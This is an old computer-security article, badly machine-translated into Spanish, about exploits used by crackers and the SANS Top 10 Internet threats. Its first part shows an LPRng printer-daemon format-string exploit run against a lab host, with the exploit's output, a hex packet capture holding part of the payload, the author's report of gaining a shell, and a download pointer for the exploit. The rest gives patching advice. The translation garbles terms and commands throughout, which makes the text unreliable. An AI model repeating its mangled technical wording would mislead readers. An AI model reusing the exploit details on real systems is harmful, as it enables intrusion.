.
En este artículo, cubriremos las hazañas funcionadas por las galletas. También miraremos el SANS de la lista crítica de 10 la mayoría del Internet amenazas de la seguridad.
El reconocimiento es vital en calcular fuera de cuál está abierto y de cuál es cerrado. El paso siguiente para una galleta es romperse realmente adentro a una red de ordenadores. Las galletas hacen esto explotando debilidades en servicios de los sistemas operativos.
Hay muchas hazañas hacia fuera allí; encontrar la hazaña derecha puede ser un dolor de cabeza. No todas las hazañas son igual creado. Por esto, significo que la mayoría de las hazañas son dependiente del sistema operativo. Apenas porque hay una línea hazaña de la impresora para Linux no significa que trabajaría en Solaris, y viceversa.
Para ayudar a explicar cuál es y mira una hazaña como cuando se está ejecutando, he incluido en este artículo la salida de una hazaña y algunos paquetes implicaron en la hazaña. Primero, un poco fondo en la hazaña que decidía funcionar. En finales de 2000, actividad que sonda creciente en el puerto 515 (línea puerto de impresora). Esto fue relacionada con una hazaña en la línea roja demonio del sombrero 7.0 de la impresora. A la hora de esta escritura, todavía estoy viendo muchas puntas de prueba para este servicio en mi cortafuego.
Si usted desea ver la hazaña que utilicé, puede ser encontrado en http://www.netcat.it.
Aquí están los listados prometidos junto con un cierto juego por el juego para cada uno:
hazaña alejada de +++ www.netcat.it para LPRng/lpd
información de la hazaña de +++
víctima de +++: 192.168.1.25
tipo de +++: 0 - RedHat 7.0 - Guinesss
dirección de +++ Eip: 0xbffff3ec
dirección de +++ Shellcode: 0xbffff7f2
posición de +++: 300
alineación de +++: 2
compensación 0 de +++
+++ que ataca 192.168.1.25 con nuestra secuencia del formato
el hombre de la fuerza bruta de +++, relaja y goza del paseo; >
De esta salida, sabemos que la hazaña está atacando una línea roja impresora (tipo 0-RedHat7.0 - Guinesess) del sombrero 7.0. ¿Desee ver cómo el tcpdump visión este ataque?
18:34:19.991789 > 192.168.1.5.2894 > 192.168.1.25.printer: Triunfo de S 4221747912:4221747912(0)
32120 < mss 1460, sackOK, timestamp 4058996 0, nop, wscale 0 > (DF) (TTL 64, identificación 11263)
4500 003c 2bff 4000 4006 8b4e c0a8 0105
c0a8 0119 0b4e 0203 fba2 c2c8 0000 0000
a002 7d78 8bb1 0000 0204 05b4 0402 080a
003d ef74 0000 0000 0103 0300
18:34:19.993434 < 192.168.1.25.printer > 192.168.1.5.2894: S 397480959:397480959(0) ack
4221747913 triunfo 32120 < mss 1460, sackOK, timestamp 393475 4058996, nop, wscale 0 > (DF) (TTL 64,
identificación 3278)
4500 003c 0cce 4000 4006 aa7f c0a8 0119
c0a8 0105 0203 0b4e 17b1 13ff fba2 c2c9
a012 7d78 5ee7 0000 0204 05b4 0402 080a
0006 0103 003d ef74 0103 0300
18:34:19.993514 > 192.168.1.5.2894 > 192.168.1.25.printer: . 1:1(0) triunfo 32120 del ack 1 < nop,
nop, timestamp 4058996 393475> (DF) (TTL 64, identificación 11264)
4500 0034 2c00 4000 4006 8b55 c0a8 0105
c0a8 0119 0b4e 0203 fba2 c2c9 17b1 1400
8010 7d78 8dac 0000 0101 080a 003d ef74
0006 0103
18:34:19.999662 < 192.168.1.25.printer > 192.168.1.5.2894: Triunfo 32120 de P 1:31(30) ack 1
< nop, nop, timestamp 393476 4058996 > (DF) (TTL 64, identificación 3279)
4500 0052 0ccf 4000 4006 aa68 c0a8 0119
c0a8 0105 0203 0b4e 17b1 1400 fba2 c2c9
8018 7d78 3e5b 0000 0101 080a 0006 0104
003d ef74 6c70 643a 203a 204d 616c 666f
726d 6564 2066 726f 6d20 6164 6472 6573
730a
18:34:19.999686 > 192.168.1.5.2894 > 192.168.1.25.printer: . 1:1(0) triunfo 32120 del ack 31 < nop,
nop, timestamp 4058997 393476> (DF) (TTL 64, identificación 11265)
4500 0034 2c01 4000 4006 8b54 c0a8 0105
c0a8 0119 0b4e 0203 fba2 c2c9 17b1 141e
8010 7d78 8d8c 0000 0101 080a 003d ef75
0006 0104
18:34:20.000863 < 192.168.1.25.printer > 192.168.1.5.2894: Triunfo 32120 de F 31:31(0) ack 1
< nop, nop, timestamp 393476 4058997 > (DF) (TTL 64, identificación 3280)
4500 0034 0cd0 4000 4006 aa85 c0a8 0119
c0a8 0105 0203 0b4e 17b1 141e fba2 c2c9
8011 7d78 8d8b 0000 0101 080a 0006 0104
003d ef75
18:34:20.000878 > 192.168.1.5.2894 > 192.168.1.25.printer: . 1:1(0) triunfo 32120 del ack 32 < nop,
nop, timestamp 4058997 393476> (DF) (TTL 64, identificación 11266)
4500 0034 2c02 4000 4006 8b53 c0a8 0105
c0a8 0119 0b4e 0203 fba2 c2c9 17b1 141f
8010 7d78 8d8b 0000 0101 080a 003d ef75
0006 0104
18:34:20.049095 > 192.168.1.5.2894 > 192.168.1.25.printer: Triunfo 32120 de P 1:424(423) ack 32
< nop, nop, timestamp 4059002 393476 > (DF) (TTL 64, identificación 11267)
4500 01db 2c03 4000 4006 89ab c0a8 0105
c0a8 0119 0b4e 0203 fba2 c2c9 17b1 141f
8018 7d78 54c5 0000 0101 080a 003d ef7a
0006 0104 4242 ffbf f2ff del ffbf f1ff de f0ff
ffbf 5858 del ffbf f3ff 5858 5858 5858 5858
5858 5858 5858 5858 252e 3137 3675 2533
3030 246e 252e 3133 7525 3330 3124 6e25
2e32 3533 7525 3330 3224 6e25 2e31 3932
Miremos qué está sucediendo aquí. Primero, vemos 192.168.1.5 y 192.168.1.25 que procuran hacer una conexión usando el TCP apretón de manos de tres vías típico. En la secuencia de evento siguiente, vemos 192.168.1.5 el procurar funcionar la hazaña contra 192.168.1.25. Finalmente, vemos los 192.168.1.5 el empujar de 423 octetos de datos a 192.168.1.25. La hazaña continúa esto por un rato hasta que es bruto-fuerza capaz la hazaña.
Cuando esta hazaña trabajó, 192.168.1.25 proporcionados me una cáscara (no que la necesité), y yo podrían hacer lo que deseé siempre.
Las hazañas son la manera que las galletas se rompen en sistemas. Para protegerse contra ellas, usted tendrá que poner al día su sistema operativo con los remiendos. (esto va para todos los sistemas.)
Las amenazas más críticas de la seguridad del Internet de la tapa 10 de SANS son una lista de las hazañas más comunes encontradas en las redes de ordenadores. Qué hace esta lista así que el objeto de valor es el hecho de que la seguridad de la red de la administración del sistema del grupo proporciona una lista de las entradas relacionadas de CVE (las vulnerabilidades y las exposiciones comunes), de modo que una persona pueda hacer más investigación en caso de necesidad. Esta lista fue compilada por SANS con la ayuda de muchos expertos de la seguridad y de la comunidad de la seguridad.
La base de datos de CVE se puede encontrar en http://www.cve.mitre.org/.
Para leer más en la tapa 10 de SANS, visite http://www.sans.org/topten.htm.
La primera hazaña enumeró en los 10 superiores es LAZO. El LAZO es un programa usado para los servidores del DNS (ayudar a resolver nombres a las direcciones) y se utiliza a través del Internet. En los últimos años de los pares, los agujeros importantes se han encontrado en muchas versiones del LAZO. Es vital para cualquier persona que funcione LAZO para continuar siempre en las vulnerabilidades más últimas. De enero el 29 de 2001, asociados de la red incorporó anunciado que descubrió más vulnerabilidades referente la versión 4 del LAZO y a la versión 8 del LAZO. Los remiendos se han lanzado y se pueden descargar de sitio del Web de su vendedor del sistema operativo.
Si usted quisiera leer el papel lanzado por NAI, usted puede conseguirlo aquí: http://www.pgp.com/aboutus/press/pr_template.asp?PR=/PressMedia/01282001-A.asp&Sel=900 o usted puede leer el CERT consultivo en http://www.cert.org/advisories/CA-2001-02.html.
La segunda hazaña en la tapa 10 de SANS es programas vulnerables del cgi. Éstas han sido alrededor por años y son la razón principal de la mayoría de los sitios del Web del corte que reciben la atención de corriente.
Muchos de estos programas de CGI-BIN dejan los programas de muestra después de la instalación que son vulnerables y permiten que un usuario malévolo obtenga el acceso de la "raíz". Cuando un atacante obtiene ese nivel del acceso, él puede hacer mientras que él satisface (incluya cambiar el sitio del Web). Proporcioné algunos acoplamientos para obtener más información sobre ataques de CGI-BIN. Esta lista no es comprensiva; cave por favor un poco más lejos si usted piensa que usted es vulnerable.
Más información se puede encontrar en ataques de CGI-BIN de http://www.cert.org/advisories/CA-1997-24.html, de http://www.cert.org/advisories/CA-1996-11.html, o de http://www.cert.org/advisories/CA-1997-07.html.
La tercera hazaña es llamadas alejadas vulnerables del procedimiento (RPCs). RPCs permite que los programas de C hagan procedimiento invita otras máquinas a través de la red. La mayoría de los vendedores proporcionan remiendos a la ayuda aprietan abajo de servicios del RPC. Sin embargo, la mejor política con respecto a este servicio es, si usted no lo necesita, después le mata. Usted puede funcionar picosegundo-ef|el RPC del grep, encuentra la identificación del proceso (PID), y después funciona el 9 PID de la matanza. Usted puede también inhabilitar servicios del RPC en el comienzo sobre la mayoría de los sistemas operativos de UNIX cambiando el archivo de lanzamiento (situado en /etc/rc.d/) de un S (empiece para arriba) a K (matanza). Usted puede descubrir lo que están funcionando los programas del RPC usando el p del rpcinfo.
Más información se puede encontrar en ataques del RPC de http://www.cert.org/incident_notes/IN-99-04.html.
La cuarta hazaña en la lista de la tapa 10 de SANS es agujeros alejados vulnerables de la seguridad del servicio de los datos en IIS. (para ser honesto, estoy sorprendido que Microsoft no tiene más vulnerabilidades en los 10 superiores.) Puedo resumir ocuparse de esta hazaña realmente rápida. Remiende su IIS.
Más información se puede encontrar en los agujeros de la seguridad de RDS de http://www.wiretrip.net/rfp/p/doc.asp?id=29&iface=2.
La quinto hazaña es sendmail vulnerable y ataques del MIME. Estas vulnerabilidades se relacionan con los desbordamientos del almacenador intermediario tan bien como los ataques de la pipa que permiten compromiso inmediato de la raíz. Hay pares de maneras de asegurar estas áreas problemáticas. El primer debe mantener los remiendos correctos para sus servidores de sendmail/mail. Si usted no necesita funcionar tampoco de estos servicios, usted puede inhabilitarlos (siga los mismos procedimientos según lo explicado para el RPC).
Más información se puede encontrar en los agujeros de la seguridad del sendmail de http://www.cert.org/advisories/CA-97.05.sendmail.html.
La sexta hazaña es sadmind y mountd vulnerables. Esta vulnerabilidad se aplica a las máquinas de Linux así como las máquinas de Solaris.
Para más información sobre los agujeros de la seguridad del sadmind y del mountd, la visita http://www.cert.org/advisories/CA-99-16-sadmind.html o http://www.cert.org/advisories/CA-1998.12.mountd.html.
La séptima hazaña en los 10 superiores es archivo global que comparte, con los puertos de NetBIOS 135.139). Éste es los usuarios más grandes del problema de la seguridad tiene probablemente si están conectados con un módem de cable o un DSL. La mayoría no entienden el concepto del archivo que comparte y no dejan compartir del archivo permitido. Otro problema es Napster. Aunque Napster no se enumera aquí, requiere a gente compartir directorios y ése puede conducir a compartir más entonces necesario. ¿Cómo lo corregimos? Estas sugerencias son del sitio http://www.sans.org/topten.htm de SANS:
A. Al compartir impulsiones montadas, asegure solamente los directorios requeridos se comparten.
B. Para la seguridad agregada, permita el compartir solamente a las direcciones específicas del IP porque los nombres del DNS pueden ser spoofed.
C. Para los sistemas de Windows, asegure todas las partes se protegen con contraseñas fuertes.
D. Para los sistemas de Windows NT, prevenga la enumeración anónima de usuarios, de grupos, de la configuración de sistema y de las llaves del registro vía la conexión de la "sesión nula".
Bloquee las conexiones de entrada al servicio de sesión de NetBIOS (tcp 139) en la rebajadora o el anfitrión del NT. Considere el poner de la llave del registro en ejecucio'n de RestrictAnonymous para los anfitriones Internet-conectados en ambientes independientes o no-confiados en del dominio.
La octava hazaña es contraseñas débiles. ¿Opinión de la necesidad I más? En cualquier forma de gravamen de riesgo, una de las vulnerabilidades más comunes que veo es contraseñas débiles. Al venir para arriba con una contraseña, recuerde seguir estas pautas simples:
- cerciórese de que la contraseña sea ocho caracteres en longitud.
- cerciórese de que la contraseña sea una combinación de números, de caracteres especiales, y de caracteres alfanuméricos.
- escoja una contraseña que no esté en el diccionario.
Para más información sobre fuerzas de la contraseña, visite http://www.cert.org/tech_tips/passwd_file_protection.html.
La novena hazaña es las vulnerabilidades del desbordamiento del almacenador intermediario del IMAP y del ESTALLIDO o configuración incorrecta. Una vez más la mejor manera de asegurarse de estos ataques es inhabilitar el servicio si usted no lo necesita. También, aplique los remiendos más últimos (si usted necesita funcionar el servicio).
Para más información sobre seguridad del IMAP y del ESTALLIDO visite por favor http://www.cert.org/advisories/CA-1998.09.imapd.html, http://www.cert.org/advisories/CA-1998.08.qpopper_vul.html, o http://www.cert.org/advisories/CA-1997.09.imap_pop.html.
La hazaña final en la tapa 10 de SANS es secuencias de la comunidad del SNMP del defecto fijadas al "público" y "privadas". Junto con las contraseñas débiles, esta vulnerabilidad se puede controlar por la administración básica.
Para más información sobre secuencias del SNMP y de la comunidad, vea http://www.cisco.com/univercd/cc/td/doc/cisintwk/ito_doc/snmp.htm#xtocid210315.
Tenga presente que éstas no son las únicas vulnerabilidades en el Web. Una galleta puede utilizar cualquier hazaña que él tenga en su bolso de trucos contra usted y su red.
Online: 490 users browsing the articles directory
. |